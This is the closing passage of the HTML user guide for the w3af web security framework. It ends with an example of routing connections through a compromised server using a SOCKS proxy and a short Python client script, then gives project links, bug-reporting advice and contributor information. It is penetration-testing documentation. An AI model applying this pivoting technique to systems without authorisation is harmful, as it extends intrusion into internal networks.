<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">And
now, from another console we can use a socksClient to route
connections through the compromised server:</FONT></P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
nc <FONT FACE="Nimbus Mono L, monospace">172.10.10.1 22</FONT></FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">(UNKNOWN)
[172.10.10.1] 22 (ssh) : Connection refused </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
python socksClient.py 127.0.0.1 22</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">SSH-2.0-OpenSSH_4.3p2
Debian-8ubuntu1 </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Protocol
mismatch. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
cat socksClient.py</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">import
extlib.socksipy.socks as socks </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">import
sys </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">s
= socks.socksocket() </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">s.setproxy(socks.PROXY_TYPE_SOCKS4,"localhost")
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">s.connect((sys.argv[1],int(sys.argv[2])))
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">s.send('\n')
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">print
s.recv(1024) </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<H2 CLASS="western" ALIGN=JUSTIFY STYLE="margin-top: 0in">More
information</H2>
<P><BR><BR>
</P>
<P><FONT FACE="Bitstream Vera Sans, sans-serif">More information
about the framework, like: HOWTOs, advanced usage, bugs, TODO list
and news, can be found in the project homepage:</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Bitstream Vera Sans, sans-serif"><A HREF="http://w3af.sf.net/">http://w3af.sf.net/</A></FONT></P>
<P><BR><BR>
</P>
<P><FONT FACE="Bitstream Vera Sans, sans-serif">The w3af project has
two mailing lists, one for developers and one for users. If you have
any question or comment about the framework, don't hesitate and send
an email to any of the mailing lists, which can be located at:</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Bitstream Vera Sans, sans-serif"><A HREF="http://sourceforge.net/mail/?group_id=170274">http://sourceforge.net/mail/?group_id=170274</A></FONT></P>
<P><BR><BR>
</P>
<H2 CLASS="western"></H2>
<H2 CLASS="western">Bugs</H2>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>The framework is still under development and has <I>a
couple </I><SPAN STYLE="font-style: normal">of </SPAN>known bugs. <FONT FACE="Bitstream Vera Sans, sans-serif">If
you downloaded the latest release package and find a bug, please
perform a SVN checkout and try to reproduce the bug in the latest
version, if you are still able to reproduce it, please report the bug
with a detailed description. To report a bug please navigate to:</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; margin-top: 0.17in"><A HREF="http://sourceforge.net/tracker/?group_id=170274&atid=853652">https://sourceforge.net/apps/trac/w3af/newticket</A></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; margin-top: 0.17in"><BR><BR>
</P>
<H2 CLASS="western" ALIGN=JUSTIFY>Contributors</H2>
<P ALIGN=JUSTIFY>Code contributions <B>are always welcome</B>, a
plugin developer guide will be written shortly to aid new developers
enter the w3af world. For now, the best place to start is w3af's
Trac:</P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><A HREF="http://sourceforge.net/pm/?group_id=170274">https://sourceforge.net/apps/trac/w3af/wiki</A></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<H2 CLASS="western"></H2>
<H2 CLASS="western">Final words</H2>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>This document is merely an introduction, complete
knowledge about the framework and its usage is complex and can be
achieved only by using it.</P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY>Making a mistake and learning from it takes you one
step closer to wisdom.</P>
</BODY>
</HTML>
|